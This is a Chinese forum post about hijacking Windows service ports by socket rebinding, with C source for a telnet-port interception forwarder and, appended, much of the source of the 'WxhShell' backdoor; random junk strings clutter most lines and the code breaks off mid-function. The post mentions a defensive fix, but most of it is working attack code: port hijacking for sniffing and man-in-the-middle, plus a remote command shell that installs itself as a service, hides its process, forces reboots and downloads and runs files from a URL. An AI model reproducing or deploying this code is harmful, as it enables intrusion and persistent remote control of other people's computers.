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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RI7qsm6RN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ? Yynd  
ZP]2/;h  
  saddr.sin_family = AF_INET; ]0at2  
My`josJ`Pb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $fq-wl-=  
:Q0?ub]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (Q*2dd>  
LbLbJ{68  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TW;|G'}$  
`Pz!SJ|  
  这意味着什么?意味着可以进行如下的攻击: $_%2D3-;D  
'US8"83  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QH~8 aE_i  
~)oWSo5ll  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RBMMXJj  
3}.mp}K 5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0`aHwt/F  
IeqWR4Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3M`hn4)K  
uaZ"x& oZ#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *)}Ap4[  
=N[V{2}q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  (9'G  
}kgjLaQ^N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KBUAdpU8  
QBN=l\m+  
  #include 0e7O#-  
  #include  h;:Se  
  #include @eAGN|C5  
  #include    Q}k_#w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~]m@k'n  
  int main() dd @COP?  
  { +w_MSj#P  
  WORD wVersionRequested; .$}Z:,aB  
  DWORD ret; ys~p(  
  WSADATA wsaData; NUxAv= xl  
  BOOL val; .wt>.mUH  
  SOCKADDR_IN saddr; XQ+-+CD  
  SOCKADDR_IN scaddr; @h z0:ezg:  
  int err; _mI:Lr#dT  
  SOCKET s; Y`[HjS,  
  SOCKET sc; l72i e  
  int caddsize; { 8|Z}?I  
  HANDLE mt; lhW#IiX  
  DWORD tid;   R+@sHsZ@  
  wVersionRequested = MAKEWORD( 2, 2 ); s\3Z?zm8  
  err = WSAStartup( wVersionRequested, &wsaData ); ux/[d6To  
  if ( err != 0 ) { A+bu bH,  
  printf("error!WSAStartup failed!\n"); 2=Vkjh-  
  return -1; o#KPrW`XJ/  
  } 8m1 3M5r  
  saddr.sin_family = AF_INET; ?L ~=Z\H  
   )=SYJ-ta<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }X W#?l  
@zVBn~=i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "8C(_z+]K`  
  saddr.sin_port = htons(23); k*UR# z(I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :BrnRW64  
  { %l]rQjV-  
  printf("error!socket failed!\n"); `)gkkZ$)j  
  return -1; W0r5D9k  
  } * zJiii  
  val = TRUE; M%Kx{*aw&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R;Ix<y{U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bW 79<T'+  
  { ko7-%+0|]  
  printf("error!setsockopt failed!\n"); j)lM:vXR  
  return -1; 6lH>600]u  
  } @Tm0T7C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0I ND9h. %  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z:o' +oh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v'2OHb#  
\Vhp B   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ah&plaVzC  
  { MM58w3Mz  
  ret=GetLastError(); #VMBn}   
  printf("error!bind failed!\n"); $BO}D  
  return -1; [7 Kj$PB3  
  } gWU(uBS  
  listen(s,2); q_m#BE;t  
  while(1) WTy8N  
  { -^nQ^Td=j  
  caddsize = sizeof(scaddr); /v5g;x_T  
  //接受连接请求 fU){]YP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oT5rX ,8  
  if(sc!=INVALID_SOCKET) JXa%TpI: E  
  { N6 }i>";_;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h}VYA\+<B  
  if(mt==NULL) jJ{ w -$  
  { x.4)p6  
  printf("Thread Creat Failed!\n"); ` a<|CcUGU  
  break; @0@'6J04  
  } W2o8Fu   
  } `efH(  
  CloseHandle(mt); PTV`=vtj  
  } [2fiHE  
  closesocket(s); ;hJ/t/7  
  WSACleanup(); V~^6 TS(  
  return 0; _$jJpy  
  }   !E.l yz  
  DWORD WINAPI ClientThread(LPVOID lpParam) HI`A;G]  
  { 9QM"JEu@  
  SOCKET ss = (SOCKET)lpParam; {CyPcD'$s  
  SOCKET sc; C?<XtIoB  
  unsigned char buf[4096]; BKlc{=  
  SOCKADDR_IN saddr; :@4>}k*  
  long num; 2W-NCE%K)T  
  DWORD val; y7L4jO9h  
  DWORD ret; >A@D;vx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pUEok+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (j8,n<o  
  saddr.sin_family = AF_INET; Q8/0Cb/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D@vvy6>~s  
  saddr.sin_port = htons(23); a_fW {;}[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LyPBFo[?  
  { o5G"J"vxe  
  printf("error!socket failed!\n"); s$y#Ufz  
  return -1; C5n=2luI_  
  } kAF}*&Kzd~  
  val = 100; lL+^n~g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TXOW/{B  
  { Dp |FyP_w  
  ret = GetLastError(); !?-5 hh1\  
  return -1; r#Oz0=0u  
  } _w,0wn9N$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ak-7}i  
  { Xq)%w#l5?  
  ret = GetLastError(); '!L1z45  
  return -1; />I8nS}T  
  } ~E|V{z%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G78j$ ^/0  
  { 9PfU'm|h  
  printf("error!socket connect failed!\n"); 1kw4'#J8  
  closesocket(sc); WsDe0F  
  closesocket(ss); X|B;>q  
  return -1; Y/I6.K3  
  } Gbm_xEPC  
  while(1) M[N.H9  
  { z7pXpy \  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 imq(3?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =]mx"0i[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =sVt8FWGY  
  num = recv(ss,buf,4096,0); >"{zrwNq  
  if(num>0) YqCK#zT/  
  send(sc,buf,num,0); w=>mG-  
  else if(num==0) +rO<'H:umJ  
  break; o[W3/  
  num = recv(sc,buf,4096,0); g-gBg\y{v  
  if(num>0) f0bV]<_9  
  send(ss,buf,num,0); }? '9L:  
  else if(num==0) =v=!x  
  break; O!+5As  
  } * CGdfdxW  
  closesocket(ss); z(68^-V=:  
  closesocket(sc); G")EE#W$}  
  return 0 ; y%l#lz=6  
  } ?bDae%>.d,  
/\I%)B47^9  
''07Km@x  
========================================================== GlD'?Mk1  
vs5wxTM  
下边附上一个代码,,WXhSHELL X_@@v|UF  
zm"g,\.d  
========================================================== <]qd9mj5  
tX}S[jdq  
#include "stdafx.h" DA@hf  
/ {~h?P}  
#include <stdio.h> l;kZS  
#include <string.h> ZU'^%)6~o~  
#include <windows.h> xmx;tq  
#include <winsock2.h> K 8c#/o  
#include <winsvc.h> ,X6j$YLWp  
#include <urlmon.h> x^skoz  
oF^hq-xcP  
#pragma comment (lib, "Ws2_32.lib") ,lM2BXz%  
#pragma comment (lib, "urlmon.lib") JAlsc]XtO9  
74Wg@! P  
#define MAX_USER   100 // 最大客户端连接数 Wy )g449  
#define BUF_SOCK   200 // sock buffer ?M(Wx  
#define KEY_BUFF   255 // 输入 buffer 'PbA/MN  
6\@, Lb  
#define REBOOT     0   // 重启 DK%eFCo<~  
#define SHUTDOWN   1   // 关机 |%;txD  
X;>} ;LiK  
#define DEF_PORT   5000 // 监听端口 =upP3rw  
H;&t"Ql.  
#define REG_LEN     16   // 注册表键长度 3<V!y&a  
#define SVC_LEN     80   // NT服务名长度 #_\~Vrf(#  
Z`t?kXDNoI  
// 从dll定义API E=trJge  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6LQO>k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZfikNQU9r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C;>Ll~f_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <Rt@z|Zv  
B(dL`]@Xm  
// wxhshell配置信息 nJg2O@mRJ  
struct WSCFG { rM |RGe  
  int ws_port;         // 监听端口 ^u,x~nPXg  
  char ws_passstr[REG_LEN]; // 口令 hh}EDnx  
  int ws_autoins;       // 安装标记, 1=yes 0=no NZP,hAUK,  
  char ws_regname[REG_LEN]; // 注册表键名 B[V=l<J  
  char ws_svcname[REG_LEN]; // 服务名 _,~zy9{,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f'U]Ik;Jy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E1_4\ S*z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hDsORh!i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [G/X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :nEV/"#F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &X(-C9'j  
zt0 zKXw  
}; DboqFh#]=h  
&nP rozC  
// default Wxhshell configuration >YhqL62!a  
struct WSCFG wscfg={DEF_PORT, .#|pje^  
    "xuhuanlingzhe", wv-8\)oA  
    1, DBDfB b  
    "Wxhshell", `<d>C}9  
    "Wxhshell", `_)dEu  
            "WxhShell Service", ;0gpS y$#  
    "Wrsky Windows CmdShell Service", mo$*KNW%\  
    "Please Input Your Password: ", k>`X! "  
  1, &pz8vWCk  
  "http://www.wrsky.com/wxhshell.exe", yqwr0yDAl  
  "Wxhshell.exe" v g]&T  
    }; p6)UR~9Rs  
p<e~x/@m*  
// 消息定义模块 A[bxxQSP\H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %-CC_R|0$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dz 2d`=`3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FoQk  
char *msg_ws_ext="\n\rExit."; lR!$+atW  
char *msg_ws_end="\n\rQuit."; *Rd&4XG  
char *msg_ws_boot="\n\rReboot..."; ,L G&sa"  
char *msg_ws_poff="\n\rShutdown..."; swrd  
char *msg_ws_down="\n\rSave to "; M-gjS6c\3  
&EOh}O<  
char *msg_ws_err="\n\rErr!"; Ui&$/%Z|  
char *msg_ws_ok="\n\rOK!"; X;NTz75  
%Z4=3?5B"9  
char ExeFile[MAX_PATH]; V^i3:'  
int nUser = 0; T\>=o]  
HANDLE handles[MAX_USER]; ,}0pK\Y>$  
int OsIsNt; .bGeZwvf:G  
(Q+3aEUE  
SERVICE_STATUS       serviceStatus; 9h{G1XL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aJ5R0Y,  
%ZK}y{u\  
// 函数声明 =qRVKz  
int Install(void); P'8 E8_M}  
int Uninstall(void); Apn#o2  
int DownloadFile(char *sURL, SOCKET wsh); k|5nu-B0v  
int Boot(int flag); Y<v55m-  
void HideProc(void); -,&Xp>u\  
int GetOsVer(void); i_"I"5pBF  
int Wxhshell(SOCKET wsl); xjN~Y D:  
void TalkWithClient(void *cs); Tx(R3B+u7  
int CmdShell(SOCKET sock); f7'%AuSQ(  
int StartFromService(void); guvQISQlY  
int StartWxhshell(LPSTR lpCmdLine); d}Om?kn  
b}:Z(L,\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (L1`]cp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W#!\.m`5  
\2jY)UrQs  
// 数据结构和表定义 kXWx )v  
SERVICE_TABLE_ENTRY DispatchTable[] = $u :=lA:N  
{ Gf?KpU  
{wscfg.ws_svcname, NTServiceMain}, F@BNSs N=  
{NULL, NULL} -)@.D>HsOt  
}; 6D],275`J  
$m>e!P>%u  
// 自我安装 v|GvN|_|  
int Install(void) P7b2I=t  
{ ,o)MiR9-[A  
  char svExeFile[MAX_PATH]; ,n*.Yq  
  HKEY key; 5kF5`5+Vj  
  strcpy(svExeFile,ExeFile); _*9Zp1r  
iYf4 /1IG,  
// 如果是win9x系统,修改注册表设为自启动 FyEl@ }W  
if(!OsIsNt) { C6n4OU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SxDE3A-:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Yj}9[p;T  
  RegCloseKey(key); |1D`v9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nC rNZ&P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mw~ ?@Sq  
  RegCloseKey(key); AZa3!e/1  
  return 0; kBzzi^cl  
    } gT.-Cf{  
  } o;.-I[9h]  
} }/VHeHd  
else { v09f#t$;5  
KJd;c.  
// 如果是NT以上系统,安装为系统服务 ZLkJYZk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j{g{`Qa  
if (schSCManager!=0) luMNi^FQ  
{ CbZ1<r" /  
  SC_HANDLE schService = CreateService )~`zjVx_  
  ( jnTl%aQYc  
  schSCManager, NQAnvX;  
  wscfg.ws_svcname, f As:[  
  wscfg.ws_svcdisp, ^{w&&+#,q  
  SERVICE_ALL_ACCESS, MPt7 /  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p,Z6/e[SI  
  SERVICE_AUTO_START, b%kh:NV{S  
  SERVICE_ERROR_NORMAL, 181P;R=}<  
  svExeFile, t`AD9 H"\!  
  NULL, N]duv~JS  
  NULL, 1jL?z6S  
  NULL, 1pV"< ,t  
  NULL, j- A|\:   
  NULL f_7p.H6\  
  ); `&_qK~&/X  
  if (schService!=0) 073(xAkL{  
  { % Y @3)  
  CloseServiceHandle(schService); 8^{BuUA  
  CloseServiceHandle(schSCManager); 7v-C-u[E`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Lg^m?~{  
  strcat(svExeFile,wscfg.ws_svcname); (/Ubw4unI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ty78)XI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c:0$ M w=  
  RegCloseKey(key); i`Tne3)  
  return 0; ]HRZ9oP  
    } 6"DvdJ0MB  
  } '/j`j>'!^  
  CloseServiceHandle(schSCManager); U|zW_dj  
} E|>I/!{u7`  
} +,MzD'(D  
"\9@gfsp)  
return 1; mK4a5H  
} |0&S>%=  
J.-#:OZ  
// 自我卸载 e9 NHbq  
int Uninstall(void) Cpj_mMtu  
{ .C #}g  
  HKEY key; \||PW58j  
%S^`/Snv"  
if(!OsIsNt) { z+ 4R[+[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $*PyzLS  
  RegDeleteValue(key,wscfg.ws_regname); =y':VIVJC  
  RegCloseKey(key); 68y.yX[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =3"Nn4Z  
  RegDeleteValue(key,wscfg.ws_regname); pK3cg|}  
  RegCloseKey(key); {e~d^^N5  
  return 0; Xm*Dh#H  
  } 1kpI?Plki  
} /'I/sWEV  
} <W?,n%  
else { 4_mh  
y>G{GQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HZ|6&9we  
if (schSCManager!=0) jk|0<-3  
{ 4uz\Me(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {5to;\.  
  if (schService!=0) BAxZR  
  { >fjf] 6  
  if(DeleteService(schService)!=0) { M*}o{E;  
  CloseServiceHandle(schService); `jV0;sPd;  
  CloseServiceHandle(schSCManager); qg>i8V  
  return 0; lj[Bd >  
  } 3oSQe"  
  CloseServiceHandle(schService); ?XHJCp;f  
  } ?LZ)r^ger  
  CloseServiceHandle(schSCManager); &v:iC u^|  
} UpgOU.  
} nyIb8=f  
n\ IVpgP  
return 1; YB 4R8}4  
} q)P<lKi  
$/D@=P kc  
// 从指定url下载文件 _ pJU~8  
int DownloadFile(char *sURL, SOCKET wsh) qYpHH!!C=  
{ x[vX|oE!A  
  HRESULT hr; mU3UQ j  
char seps[]= "/"; 2Two|E  
char *token; %(NRH?  
char *file; 6@T_1  
char myURL[MAX_PATH]; Y`M.hYBXk  
char myFILE[MAX_PATH]; ^iGIF~J9  
GxvVh71zP  
strcpy(myURL,sURL); @}FRiPo6  
  token=strtok(myURL,seps); HloP NE&}  
  while(token!=NULL) N%T-Q9k  
  { 'aCnj8B  
    file=token; _-D(N/  
  token=strtok(NULL,seps); ic3qb<2  
  } ALKhZFuz  
(Q @m;i>  
GetCurrentDirectory(MAX_PATH,myFILE); o]]Q7S=  
strcat(myFILE, "\\"); 4TLh'?Xu9  
strcat(myFILE, file); i}q6^;uTF  
  send(wsh,myFILE,strlen(myFILE),0); _gc2h@x1O  
send(wsh,"...",3,0); [0 W^|=#K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Edjh*  
  if(hr==S_OK) {L8SD U{P  
return 0; rp _G.C  
else X=DJOepH'  
return 1; SkK=VeD>8  
e\P+R>i0  
}  UWu|w  
#a/lt^}C*  
// 系统电源模块 ~:JKXa?  
int Boot(int flag) 08'JT{iid  
{ sT/pA^rnnR  
  HANDLE hToken; >8RIMW2  
  TOKEN_PRIVILEGES tkp; x.d9mjLN8m  
Jb0]!*tV  
  if(OsIsNt) { 02SUyv(Mt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]qXfg c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @]cpPW-b  
    tkp.PrivilegeCount = 1; wngxVhu8Ld  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !1!uB }  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VB[R!S=  
if(flag==REBOOT) { *{C)o0D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q,s,EooIx  
  return 0; <H$CCo  
} 8x+K4B"oe  
else { >Vn!kN6\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H#1/H@I#  
  return 0; C#gQJ=!B  
} Wve ^2lkoK  
  } wv1?v_4  
  else { /1O6;'8He  
if(flag==REBOOT) { +wQ GC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b?r0n]  
  return 0; %';n9M  
} g :O.$  
else { P{);$e+b~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yLI=&7/e@  
  return 0; d{YhKf#~  
} IQH;`+  
} fA|'}(kH  
^P]: etld9  
return 1; D-[0^  
} Tvk=NJ  
X-t4irZ)  
// win9x进程隐藏模块 #BM *40tch  
void HideProc(void) bf}r8$,  
{ 'dBzv>ngD  
Ad]r )d{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0}aJCJ9sx=  
  if ( hKernel != NULL ) IPJs$PtKok  
  { 0V1kZ.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o]jo R3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~L?p/3m   
    FreeLibrary(hKernel); :pNZQX  
  } >+8mq]8^  
Q>X ;7nt0  
return; Phx/9Kk  
} a8dR.  
3?fya8W<  
// 获取操作系统版本 GifD>c |z  
int GetOsVer(void) ]bRu8kn  
{ LxMOs Nv  
  OSVERSIONINFO winfo;  gs9f2t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 71f]KalqL  
  GetVersionEx(&winfo); >.B+xn =  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1P6~IZVN  
  return 1; YP#OI 6u  
  else qHv W{0E  
  return 0; ph69u #Og  
} |rNm_L2  
L5U>`lx6$  
// 客户端句柄模块 bk5~t'  
int Wxhshell(SOCKET wsl) sX@e1*YE_  
{ ujwI4oj"c  
  SOCKET wsh; "ebn0<cZ  
  struct sockaddr_in client; F.AO  
  DWORD myID; B[y1RI|9  
K5k,47"  
  while(nUser<MAX_USER) ukri7 n*  
{ @^`-VF  
  int nSize=sizeof(client); /ZD/!YD&R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ay4|N!ExO  
  if(wsh==INVALID_SOCKET) return 1; 5nEvnnx0  
slw^BK3t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~-.q<8  
if(handles[nUser]==0) !hJ%{.  
  closesocket(wsh); p|W:;(  
else 6#dx%TC  
  nUser++; .}j@(D  
  } \QHM7C T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #He:p$43  
bEPXNN  
  return 0; lJq %me;4m  
} i++ F&r[  
 vlE#z  
// 关闭 socket $|A vT;4  
void CloseIt(SOCKET wsh) ^QXUiXzl  
{ |Z!C`G[  
closesocket(wsh); ?5Lom#^  
nUser--; E4 JS   
ExitThread(0); f *)t<1f  
} Ndx='j0  
t-/%|@?D  
// 客户端请求句柄 RCoz;|c`P  
void TalkWithClient(void *cs) [;};qQ-C2  
{ ]\Ez{MdAT  
mz/KGZ5t  
  SOCKET wsh=(SOCKET)cs; LG51e7_gFi  
  char pwd[SVC_LEN]; n) `4*d$`  
  char cmd[KEY_BUFF]; 6s>PZh  
char chr[1]; z#O{rwnl  
int i,j; ;9b?[G  
[?;oiEe.|  
  while (nUser < MAX_USER) { eeuAo&L&  
+>/ Q+nh  
if(wscfg.ws_passstr) { ]_#[o S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W>s<&Vb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EEF}Wf$f  
  //ZeroMemory(pwd,KEY_BUFF); W*VQ"CW{^]  
      i=0; >N44&W  
  while(i<SVC_LEN) { !74*APPHR  
E6BW&Xp  
  // 设置超时 V GM/ed5-  
  fd_set FdRead; Ik~5j(^E-  
  struct timeval TimeOut; J2yq|n?2gq  
  FD_ZERO(&FdRead); ?ILNp`k  
  FD_SET(wsh,&FdRead); a'Aru^el  
  TimeOut.tv_sec=8; ~>)cY{wE_  
  TimeOut.tv_usec=0; '0?5K0 2(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g"<kj"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \#~~,k 6f  
gNe{P~ $=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o$2fML  
  pwd=chr[0]; BXLhi(.s  
  if(chr[0]==0xd || chr[0]==0xa) { |nMbf  
  pwd=0; j^:\a\-1  
  break; 3",6 E(  
  } aiUn bP  
  i++; `\#Q r|GC  
    } u;y1leG  
9KCnitU  
  // 如果是非法用户,关闭 socket <w08p*?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); At.WBa3j%{  
} CYG'WFvZZ  
I%p Q2T$;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @bS>XWI>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~H?RHYP~  
=OhhMAn  
while(1) { gM_Z/$  
b>;5#OQfn  
  ZeroMemory(cmd,KEY_BUFF); l--xq^,`o]  
SyTcp?H  
      // 自动支持客户端 telnet标准   r+\it&cW+  
  j=0; $eI[3{}X  
  while(j<KEY_BUFF) { FVL0K(V(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |0mh*+i  
  cmd[j]=chr[0]; {}vW=  
  if(chr[0]==0xa || chr[0]==0xd) { iZ)7%R?5  
  cmd[j]=0; + ^4"  
  break; dqPJ 2j $\  
  } |yw-H2k1  
  j++; l,pq;>c9a  
    } u V=rLDY  
D[yaAG<  
  // 下载文件 W9.Z hpM  
  if(strstr(cmd,"http://")) { Bqa%L.N2SS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :|P"`j  
  if(DownloadFile(cmd,wsh)) -O. MfI+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pHKj*Y  
  else )Z"7^ i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k' pu%nWN  
  } #_4L/LV  
  else { 2VMau.eQ  
YIt:_][*  
    switch(cmd[0]) { mn4j#-  
  mqwN<:  
  // 帮助 pLrNYo*d  
  case '?': { S ^2'O7uj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NAHQ:$  
    break; Xs*~ [k'  
  } Mx0c # d.  
  // 安装 ^:LF  
  case 'i': { r'w5i1C+  
    if(Install()) b&V=X{V4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G74<sD  
    else fM \T^X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WY0u9M4  
    break; =ww8,z4X  
    } Qa(u+  
  // 卸载 }+I 8l'  
  case 'r': { t55CT6Se  
    if(Uninstall()) w{#%&e(q"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6R dfF$f  
    else ()3+! };  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 R1S>X  
    break; E=HS'XKu[K  
    } }MuXN<DDb  
  // 显示 wxhshell 所在路径 v#=WdaNz  
  case 'p': { tE<L4;t  
    char svExeFile[MAX_PATH]; _/ P"ulNb  
    strcpy(svExeFile,"\n\r"); ^J\)cw  
      strcat(svExeFile,ExeFile); xLq+n jH E  
        send(wsh,svExeFile,strlen(svExeFile),0); V ;"?='vVe  
    break; <P$b$fh/  
    } "yL&?B"9@  
  // 重启 (|h<{ -L  
  case 'b': { Z/:( *FC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !(l,+@j  
    if(Boot(REBOOT)) ojtcKw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?AYI   
    else {  ,Ad\!  
    closesocket(wsh); $aG]V-M>  
    ExitThread(0); |`_TVzA  
    } 9S.R%2xw`  
    break; K ,+`td#  
    } K#+TCZ,  
  // 关机 ~F uD6f  
  case 'd': { N~Ax78TX  
